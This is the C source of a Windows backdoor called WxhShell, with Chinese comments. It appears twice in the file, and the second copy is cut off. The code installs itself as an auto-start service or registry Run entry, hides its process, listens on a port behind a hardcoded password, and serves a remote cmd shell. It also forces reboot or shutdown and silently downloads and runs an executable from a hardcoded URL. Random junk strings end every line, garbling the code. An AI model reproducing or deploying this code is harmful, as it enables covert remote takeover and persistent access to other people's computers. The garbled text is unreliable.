    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !'Ak&j1:`  
    else {  ''|W9!  
    closesocket(wsh); f<GhkDPm>?  
    ExitThread(0); Y h7rU?Gj  
    } |O3q@  
    break; {0r0\D>bw  
    } V[mT<Lc  
  // 关机 2v:]tj  
  case 'd': { P i=+/}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;$HftG>B  
    if(Boot(SHUTDOWN)) .28<tEf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YP 6` L  
    else { -7SAK1c$  
    closesocket(wsh); 1eA7>$w}[  
    ExitThread(0); QemyCCP+  
    } j*d yp  
    break; :{{F *FM;  
    } 97Lte5c6r  
  // 获取shell Cwr~HY  
  case 's': { ^0Zf,40  
    CmdShell(wsh); N1}c9}  
    closesocket(wsh); MlcR"gl*  
    ExitThread(0); !H#bJTXB  
    break; O3;u G.:1  
  } ky8_UnaO  
  // 退出 *F WMn.  
  case 'x': { +2(I1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '-QwssE  
    CloseIt(wsh); 02Y]`CXj  
    break; ~Cbc<[}  
    } AJt+p&I[J  
  // 离开 `K*Q5n  
  case 'q': { Qd)q([  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uOKCAqYa  
    closesocket(wsh); md=TjMaY  
    WSACleanup(); JELT ou  
    exit(1); \$R_YKGf1G  
    break; {]*c29b>  
        } o\BOL3H  
  } LI'6R=  
  } :v0U|\j8/V  
]E7F /O/.  
  // 提示信息 3^IpE];+:u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gq+z/Be  
} f W!a|?e$  
  } ksc;X$f&4  
&\#sI9  
  return; 1 Rq,a  
} B|Du@^$  
d^@dzNv  
// shell模块句柄 I?]ohG K  
int CmdShell(SOCKET sock) @#<D ^"  
{ ()2I#  
STARTUPINFO si; |rY1US)S  
ZeroMemory(&si,sizeof(si)); :D euX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]99|KQ<s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u6?Q3 bvI  
PROCESS_INFORMATION ProcessInfo; C7XxFh  
char cmdline[]="cmd"; oxC[F*mD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \4&fxe  
  return 0; u&^b~# T  
} UG'Q]S#!  
{mm)ay|M  
// 自身启动模式 Bz^jw>1b  
int StartFromService(void) C'G/AU  
{ \<.+rqa!  
typedef struct 63^O|y\W8  
{ >l]Xz*HE  
  DWORD ExitStatus; \jh'9\  
  DWORD PebBaseAddress; XQ#;Zs/l  
  DWORD AffinityMask; P !AEf#1  
  DWORD BasePriority; t=rEt>n~L  
  ULONG UniqueProcessId; yu;+o3WlK  
  ULONG InheritedFromUniqueProcessId; t!*?dr  
}   PROCESS_BASIC_INFORMATION; kv]~'Srk  
cT<1V!L4  
PROCNTQSIP NtQueryInformationProcess; %huRsQ %}  
+Um( h-;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *e<[SZzYZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; //*fSF   
o#;b  
  HANDLE             hProcess; t,QyfN  
  PROCESS_BASIC_INFORMATION pbi; DD7h^-x  
$g@=Z"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xRJ\E }/7  
  if(NULL == hInst ) return 0; M.Y~1c4f  
,qA(\[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^.1)};i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ={_C&57N1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !\"EFVH  
qUh2hz:  
  if (!NtQueryInformationProcess) return 0; -jW.TT h]  
.Fs7z7?Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2n3W=dF  
  if(!hProcess) return 0; 0f~C#/[t7  
:a^t3s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <_h~w}  
e 63uLWDT  
  CloseHandle(hProcess); 4h~iPn'Wl  
+$u$<z3Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g@rb  
if(hProcess==NULL) return 0; VkvB<3  
E4xj?m^(y=  
HMODULE hMod; +lm{Olm'^  
char procName[255]; 4F)-"ck  
unsigned long cbNeeded; .)RzT9sg  
Mc=$/ o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OJ,`  
uPhK3nCGo  
  CloseHandle(hProcess); t,,k  
6tXq:  
if(strstr(procName,"services")) return 1; // 以服务启动 -!q :p&c  
x8wD0D  
  return 0; // 注册表启动 GU4'&#  
} 4P'*umJi  
!5.8]v  
// 主模块 MTsM]o  
int StartWxhshell(LPSTR lpCmdLine) ?: N @!jeJ  
{ Hx#;Z  
  SOCKET wsl; ?!;7:VIE  
BOOL val=TRUE; ?/BqD;{?I  
  int port=0; wr5AG<%(  
  struct sockaddr_in door; +s(HOq)b  
&]8P1{  
  if(wscfg.ws_autoins) Install(); 9zZr^{lUl  
,.rs(5.z8/  
port=atoi(lpCmdLine); !HrKXy 0{  
'L 8n-TyL  
if(port<=0) port=wscfg.ws_port; }&/o'w2wY  
t5[ #x4 p  
  WSADATA data; B$- R-S6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &7<TAo;O  
`JOOnTenQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |*:'TKzNS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mX_a^_[G  
  door.sin_family = AF_INET; ^.KwcXr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?>hPO73{  
  door.sin_port = htons(port); MJOz.=CbhR  
 ;hY S6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6;u$&&c(  
closesocket(wsl); }M1`di4e  
return 1; '3_]Gu-D  
} Ge2q%  
Z8zmHc"IH  
  if(listen(wsl,2) == INVALID_SOCKET) { ]or>?{4g  
closesocket(wsl); cJN7bA {  
return 1; &Nj3h(Ll  
} @HQ`~C#Z'  
  Wxhshell(wsl); )#P; x "  
  WSACleanup(); 1>*#%R?W  
 9XP o3;  
return 0; ~R_ztD+C(  
lV`Q{bd+  
} H(bs$C4F  
F5?m6`g?  
// 以NT服务方式启动 'd.EC#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  5V6G=H  
{ pNOwDJtK  
DWORD   status = 0; qC}-_u7s  
  DWORD   specificError = 0xfffffff; DBPRGQ  
y<HO:kZ8`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .P;*Dws  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %C$% !C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kgnmGuka  
  serviceStatus.dwWin32ExitCode     = 0; ?!9 )q.bW  
  serviceStatus.dwServiceSpecificExitCode = 0; yOphx07 (  
  serviceStatus.dwCheckPoint       = 0; 74H)|Dkx  
  serviceStatus.dwWaitHint       = 0; %70~M_  
L%BNz3:Dt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TatpXN\  
  if (hServiceStatusHandle==0) return; >SML"+>  
TcIcS]w%  
status = GetLastError(); =4[v 3Qx  
  if (status!=NO_ERROR) \n{qsf:  
{ {. 2k6_1[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <Fi%iA  
    serviceStatus.dwCheckPoint       = 0; @W va tD V  
    serviceStatus.dwWaitHint       = 0; >=RmGS  
    serviceStatus.dwWin32ExitCode     = status; j/>$,   
    serviceStatus.dwServiceSpecificExitCode = specificError; 1nQWW9i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Kl+ 5%L  
    return; %ZNI:Uh  
  } z54EG:x.7^  
2@9Tfm(=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dls ss\c^M  
  serviceStatus.dwCheckPoint       = 0; J/\V%~ 1F  
  serviceStatus.dwWaitHint       = 0; JQ,1D`?.a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [ JpKSTg[  
} 'qjeXqGH$  
p89wNSMl[  
// 处理NT服务事件,比如:启动、停止 "]z-: \ V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <%maDM^_\(  
{ j<u@j+V  
switch(fdwControl)  TR<<+  
{ k%D+Y(WGz8  
case SERVICE_CONTROL_STOP: R($KSui  
  serviceStatus.dwWin32ExitCode = 0; jqv-D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tsgk/e9K2?  
  serviceStatus.dwCheckPoint   = 0; 4"{ooy^Q  
  serviceStatus.dwWaitHint     = 0; 2ggdWg7z  
  { 0o+6Q8q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^SxY IFL  
  } MP_'D+LS  
  return; K@#(*."  
case SERVICE_CONTROL_PAUSE: '@p['#\uI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v'VD0+3[H  
  break; &z>e5_.  
case SERVICE_CONTROL_CONTINUE: V>ieh2G(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ANJ$'3tg  
  break; '<rZm=48  
case SERVICE_CONTROL_INTERROGATE: zRq-b`<7V  
  break; 30XR 82P/  
}; T'4z=Z]w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *8#i$w11M  
} %1O;fQL  
_C(m<n  
// 标准应用程序主函数 c}y [[EX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !X"K=zt"  
{ <(-3_s6-  
$4tWI O  
// 获取操作系统版本 !|O~$2O@  
OsIsNt=GetOsVer(); U7oo$gW%|T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i|T)p_y(!a  
r.#t63Rb  
  // 从命令行安装 f2^r[kPX"  
  if(strpbrk(lpCmdLine,"iI")) Install(); :|Ad:fEs  
e '2F#  
  // 下载执行文件 v=_6XF  
if(wscfg.ws_downexe) { Ytz)d/3T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /[Z,MG  
  WinExec(wscfg.ws_filenam,SW_HIDE); SILQ  
} c3:,Ab|  
UVw~8o9s  
if(!OsIsNt) { PNaay:a|  
// 如果时win9x,隐藏进程并且设置为注册表启动 BO~PT,QrF  
HideProc(); EX?MA6U  
StartWxhshell(lpCmdLine); T9]HGB{  
}  /o[?D  
else wQwQXNG  
  if(StartFromService()) 6`v7c!7  
  // 以服务方式启动 ZCB_  
  StartServiceCtrlDispatcher(DispatchTable); o(:[r@Z0z  
else / C>wd   
  // 普通方式启动 COW}o~3-4  
  StartWxhshell(lpCmdLine); MxY/`9>E|+  
u>TZt]h8  
return 0; hjIT_{mk  
} g>dA$h%  
*M$0J'-BQ  
gF$V$cU  
A j2OkD  
=========================================== ~ECD`N<YF  
r6&5 4f  
,Fi>p0bz  
HYD"#m'TkB  
>B2:kY F  
W Dg+J  
" $OP7l>KZY  
Z\HX~*,6  
#include <stdio.h> `FsH}UPu b  
#include <string.h> z)9wXo#~  
#include <windows.h> 0&/b42W  
#include <winsock2.h> ;PjQt=4K  
#include <winsvc.h> &2`Fn!m  
#include <urlmon.h> \ gLHi~  
|b*? qf  
#pragma comment (lib, "Ws2_32.lib") ^4,a8`  
#pragma comment (lib, "urlmon.lib") Sqo : -  
G}FIjBE  
#define MAX_USER   100 // 最大客户端连接数 df n9!h  
#define BUF_SOCK   200 // sock buffer Q8 DQlqHm  
#define KEY_BUFF   255 // 输入 buffer ;_^fk&+  
|b-]n"}c>  
#define REBOOT     0   // 重启 co9 .wB@  
#define SHUTDOWN   1   // 关机 ,(;lIP  
3:8{"md@2  
#define DEF_PORT   5000 // 监听端口 #Sa27$&.>  
P&b19K'  
#define REG_LEN     16   // 注册表键长度 nS&3?lx9_  
#define SVC_LEN     80   // NT服务名长度 zxf"87se  
f-5:wM&  
// 从dll定义API  >lBD<;T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (HSgEs1d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g_G6~-.9I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e_V O3"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %-<'QYYP  
#/I[Jqf  
// wxhshell配置信息 ]|sAK%/  
struct WSCFG {  nv0]05.4  
  int ws_port;         // 监听端口 t`+'r}=d  
  char ws_passstr[REG_LEN]; // 口令 h}]fn A  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~M\I;8ne  
  char ws_regname[REG_LEN]; // 注册表键名 7DIIx}A  
  char ws_svcname[REG_LEN]; // 服务名 jLpc Zb,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 de>v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "R3d+p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kI:}| _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qQ0cJIISb\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \mV'mZ9>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4E+hRKuo,  
Op>%?W8/UF  
}; *P#WDXRwd  
?}m']4p  
// default Wxhshell configuration Q4*fc^?u  
struct WSCFG wscfg={DEF_PORT, jq+A-T}@  
    "xuhuanlingzhe", $d,0=Ci  
    1, lhtZaU~V  
    "Wxhshell", A0fFv+RN3  
    "Wxhshell", (sQr X{~  
            "WxhShell Service", I(9R~q  
    "Wrsky Windows CmdShell Service", "h|'}7p  
    "Please Input Your Password: ", 9Ffp2NW`;  
  1, _z54Ycr4H  
  "http://www.wrsky.com/wxhshell.exe", `\m*+Bk[5  
  "Wxhshell.exe" :OW ;?{ ~j  
    }; >5j<4ShW  
#?XQ7Im  
// 消息定义模块 l2&`J_"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; # hlCs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^k Cn*&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aM{xdTYaU  
char *msg_ws_ext="\n\rExit."; &m[Qn!>i6  
char *msg_ws_end="\n\rQuit."; Wy ZL9K{?  
char *msg_ws_boot="\n\rReboot..."; r)i>06Hd  
char *msg_ws_poff="\n\rShutdown..."; PI*82,f3dE  
char *msg_ws_down="\n\rSave to "; &R$CZU  
@fa@s-wb  
char *msg_ws_err="\n\rErr!"; 4T?h  
char *msg_ws_ok="\n\rOK!"; sYdRh?Hq  
|=EZ1<KzD  
char ExeFile[MAX_PATH]; {O+Kw<d  
int nUser = 0; JMVNmq&0  
HANDLE handles[MAX_USER]; NHl|x4Zpw  
int OsIsNt; =b[_@zq]  
o}<4*qlI  
SERVICE_STATUS       serviceStatus; !xwG% {_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]XTu+T.aT  
efD)S92  
// 函数声明 ;A'":vXmc  
int Install(void); cW{1 Pz^_  
int Uninstall(void); iR\Hv'|  
int DownloadFile(char *sURL, SOCKET wsh); D)@YI.T  
int Boot(int flag); Vp<seO;7o  
void HideProc(void); JICawj:I  
int GetOsVer(void); meCC?YAB  
int Wxhshell(SOCKET wsl); W,K%c=  
void TalkWithClient(void *cs); (?H0+zws^  
int CmdShell(SOCKET sock); & u!\<\  
int StartFromService(void); nN~~cV  
int StartWxhshell(LPSTR lpCmdLine); gN>2xnh'm  
r@{~ 5&L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^+ wD43  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r)T:7zy  
W;1|+6x  
// 数据结构和表定义 Q0\0f  
SERVICE_TABLE_ENTRY DispatchTable[] = jn: NYJv  
{ @G:V  
{wscfg.ws_svcname, NTServiceMain}, q|%(3,)ig  
{NULL, NULL} 'oN\hy($,h  
}; 2>\v*adG  
}/,HM9Ke  
// 自我安装 NWd<+-pC6  
int Install(void) 4Td{;Y="yF  
{ :aG#~-Q  
  char svExeFile[MAX_PATH]; 5'Q|EIL  
  HKEY key; af |5n><~A  
  strcpy(svExeFile,ExeFile); ]7Fs$y.  
NO] 3*  
// 如果是win9x系统,修改注册表设为自启动 Nk[2nyeO>  
if(!OsIsNt) { St<mDTi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .@"q$\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g!i45-n3gt  
  RegCloseKey(key); <jS~ WI@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5~.ZlGd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); unJ R=~E  
  RegCloseKey(key); U#n#7G6fRp  
  return 0; fGv#s X  
    } zFQ&5@43  
  } Q`#4W3-,  
} 2Sq_Tw3^  
else { j Y6MjZI  
n9;;x%6.I  
// 如果是NT以上系统,安装为系统服务 9=,uq;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zyg:nKQW  
if (schSCManager!=0) m>}8'N)  
{ f,z P*  
  SC_HANDLE schService = CreateService SSBg?H'T  
  ( JxjI]SF02  
  schSCManager, " v}pdUW  
  wscfg.ws_svcname, cV-1?h63  
  wscfg.ws_svcdisp, &3Zy|p4V<  
  SERVICE_ALL_ACCESS, 5[{*{^F4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  h C=:q  
  SERVICE_AUTO_START, 9]'($:LF08  
  SERVICE_ERROR_NORMAL, >\ u<&>i  
  svExeFile, }YOL"<,:o  
  NULL, ~Z ~v  
  NULL, 1 ^g t1o  
  NULL, |+U<S~  
  NULL, HP.E3yYK  
  NULL +Ug/rtK4   
  ); Kd3?I5t  
  if (schService!=0) 0Y]0!}  
  { B$KwkhMe  
  CloseServiceHandle(schService); ~dHM4lGY  
  CloseServiceHandle(schSCManager); |BZDhd9<{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WS2os Bc  
  strcat(svExeFile,wscfg.ws_svcname); #,(sAj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q@hp.(V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >O/ D!j|  
  RegCloseKey(key); !'=15&5@  
  return 0; }<jb vCeK  
    } mfny4R1_  
  } -;;Z 'NM;8  
  CloseServiceHandle(schSCManager); i{^Z1;Yl  
} ^O^:$nXhYy  
} h5kPn~  
/$"[k2 N  
return 1; QFPfIb/  
} O;HY%  
GO! uwo:  
// 自我卸载 fWGOP~0  
int Uninstall(void) W YW|P2*  
{ o$.e^XL  
  HKEY key; x\s,= n3z  
hIJ)MZU|  
if(!OsIsNt) { @OV-KT[>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k;dXOn  
  RegDeleteValue(key,wscfg.ws_regname); z5Qs @dG  
  RegCloseKey(key); XA_FOw!cX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +~nzii3  
  RegDeleteValue(key,wscfg.ws_regname); _U| 7'^|  
  RegCloseKey(key); Xj+q~4{|vt  
  return 0; wyxGe<1  
  } :`vP}I ^  
}  6qo^2  
} >cL{Ya}Rz  
else { DZ ^1s~  
s]27l3)B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HjWq[[Nz  
if (schSCManager!=0) =wi*Nd7L  
{ t j Vh^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vy G4(X va  
  if (schService!=0) Z< b"`ty.  
  { 4\ /*jA  
  if(DeleteService(schService)!=0) { G&eP5'B4i  
  CloseServiceHandle(schService); qu6DQ@ ~YC  
  CloseServiceHandle(schSCManager); $t rAC@3O@  
  return 0; r!N]$lB  
  } w-N1.^  
  CloseServiceHandle(schService); @LD6:gy  
  } [LM^), J?  
  CloseServiceHandle(schSCManager); \'?#i @O  
} oh#N 0 0X  
} &ogt2<1W  
]"fsW 9s  
return 1; &B{8uge1  
} |-2}j2'  
IF k  
// 从指定url下载文件 &217l2X /  
int DownloadFile(char *sURL, SOCKET wsh) u3tZ[Y2 c  
{ |I[7,`C~  
  HRESULT hr; '3l$al:H^  
char seps[]= "/"; $<?X7n^  
char *token; @=]8^?$t 0  
char *file; KT*:F(4`  
char myURL[MAX_PATH]; X}4}&  
char myFILE[MAX_PATH]; nw'-`*'rj  
CidM(  
strcpy(myURL,sURL); eo#^L}  
  token=strtok(myURL,seps); #$'"cfRxc  
  while(token!=NULL) j;P+_Hfe/E  
  { s0LA^2U  
    file=token; ^gro=Bp(  
  token=strtok(NULL,seps);  h=RD O  
  } nX%AeDBAT  
5a8>g [2U  
GetCurrentDirectory(MAX_PATH,myFILE); \Xg?Ug*9w  
strcat(myFILE, "\\"); )+O r  
strcat(myFILE, file); Il~01|3+m  
  send(wsh,myFILE,strlen(myFILE),0); ('o&Q_  
send(wsh,"...",3,0); @O3/3vi1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (hZ:X)E>  
  if(hr==S_OK) +`| *s3M  
return 0; :9d\Uj,  
else ZKbDp~  
return 1; V/#v\*JHFc  
CSn<]%GL  
} .5tg4%l  
X1J;1hRUP  
// 系统电源模块 Bmr<O !  
int Boot(int flag) ?KN:r E  
{ ')PVGV(D+  
  HANDLE hToken; !r&Bn6*  
  TOKEN_PRIVILEGES tkp; \%_ZV9cKF  
r)l`  
  if(OsIsNt) { nTnRGf\T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )BV=|,j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9fVj 8G  
    tkp.PrivilegeCount = 1; ?AsDk~3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w^VSj%XH!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); whkJpK(  
if(flag==REBOOT) { L=1 ~ f-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $-pbw@7  
  return 0; b 6W#SpCF  
} 4Z%Y"PL(K  
else { X.J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /#q")4Mf  
  return 0; |+ 7f2C  
} Q)6va}2ai  
  } #Q6w+"  
  else { =Lw3 \5l  
if(flag==REBOOT) { 3XVk#)lw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E3\ZJjG  
  return 0; |_pl;&;:  
} ;~tsF.=  
else { 7!d$M{0"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )bW<8f2  
  return 0; X=_Z(;<&  
} (wL3 +  
} X5E '*W  
&:vsc Ol  
return 1; dK # h<q1  
} #MM &BC  
=P_fv  
// win9x进程隐藏模块 zO2{.4  
void HideProc(void) 9/;{>RL=  
{ cF.mb*$K  
$N\+,?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M/w{&&  
  if ( hKernel != NULL ) g X/NtO %  
  { EzP#Mnz^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bXl8v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l P0k:  
    FreeLibrary(hKernel); Ow3a0cF[9  
  } ,C!n}+27  
kMS5h~D[  
return; eY3=|RR  
} |!b9b(_j9  
?M"HXu  
// 获取操作系统版本 9t }xXk  
int GetOsVer(void) 8eww7k^R  
{ 8kbBz  
  OSVERSIONINFO winfo; Y +qus  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TzY!D *%z  
  GetVersionEx(&winfo); 6UB6;-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z6Z='=pT  
  return 1; #<}kISV0  
  else QN #)F  
  return 0; :0dfB&7  
} !fZLQc  
u%aFb*  
// 客户端句柄模块 M71R -B`-  
int Wxhshell(SOCKET wsl) (HSw%e  
{ 5&%fkZ0  
  SOCKET wsh; j];G*-iv{  
  struct sockaddr_in client; [tN` :}?  
  DWORD myID; W"O-L  
}bgo )<i  
  while(nUser<MAX_USER) *.dKR  
{ kknhthJ  
  int nSize=sizeof(client); p,s&61]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |UZOAGiBg  
  if(wsh==INVALID_SOCKET) return 1; |KaR n;BM  
Qi|?d7k0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vTcZ8|3e  
if(handles[nUser]==0) &?}1AQAYg  
  closesocket(wsh);  V.fp/jhj  
else @ay|]w  
  nUser++; P8]ORQ6 ZF  
  } 7<4xtK`+b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [iXi\Ex  
/fC\K_<N  
  return 0; TMtI^mkB:  
} LO}z)j~W  
4]u,x`6C  
// 关闭 socket D?J#u;h~f  
void CloseIt(SOCKET wsh) UGf6i"F  
{ u7 ~mn l  
closesocket(wsh); cP('@K=p  
nUser--; M%;"c?g  
ExitThread(0); :5<#X8>d  
} .J:;_4x  
#}j]XWy  
// 客户端请求句柄 Nc"NObe  
void TalkWithClient(void *cs) H CuK  
{ U_}hfLILi  
N=<=dp(  
  SOCKET wsh=(SOCKET)cs; w?/f Zx  
  char pwd[SVC_LEN]; 64b<0;~  
  char cmd[KEY_BUFF]; ze$Y=<S  
char chr[1]; e9}8RHy1$  
int i,j; F b2p(.  
XP4jZCt9  
  while (nUser < MAX_USER) { q@w"yz>  
mR!rn^<l  
if(wscfg.ws_passstr) { :OX$LCi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >OTl2F}4 !  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [nC4/V+-  
  //ZeroMemory(pwd,KEY_BUFF); $&Ac5Zo%}  
      i=0; +qZc} 7rJF  
  while(i<SVC_LEN) { 1zR/HT  
ac3_L$X[  
  // 设置超时 2gH _$  
  fd_set FdRead; m/KjJ"s,  
  struct timeval TimeOut; Djyp3uUA/  
  FD_ZERO(&FdRead); LAos0bc)w\  
  FD_SET(wsh,&FdRead); .c|9..Cq=  
  TimeOut.tv_sec=8; OU6^+Ta  
  TimeOut.tv_usec=0; 2\ ,e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CY5w$E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c0SX]4} G  
M!-q}5';  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "s> >V,  
  pwd=chr[0]; oN4G1U Kc  
  if(chr[0]==0xd || chr[0]==0xa) { )L|C'dJ<k`  
  pwd=0; +!G4tA$g  
  break; p ^](3Vi(  
  } mUiOD$rO  
  i++; `fLfT'  
    } a\>+=mua  
{dDq*sLf  
  // 如果是非法用户,关闭 socket ([1=>Jw"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V15q01bE#  
} # UjEY9"M  
2S'AIuIew  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *J.c $1#h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e7h\(`J0lj  
gfx oJihE  
while(1) { ]u~Os<   
l,^xX =,  
  ZeroMemory(cmd,KEY_BUFF); pAMo XJ`  
F@Pem  
      // 自动支持客户端 telnet标准   R2SBhs,+R  
  j=0; J&'>IA  
  while(j<KEY_BUFF) { f<^ScFVR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #0jSZg^,"  
  cmd[j]=chr[0]; >Sh0dFqeT  
  if(chr[0]==0xa || chr[0]==0xd) { xP42xv9U  
  cmd[j]=0; FF8WTuzB+  
  break; hJ<:-u+yk}  
  }  .fbYB,0w  
  j++; l'W3=,G[?  
    } /(y4V  
JXlTN[O  
  // 下载文件 8 H,_vf  
  if(strstr(cmd,"http://")) { %bEGv:88s  
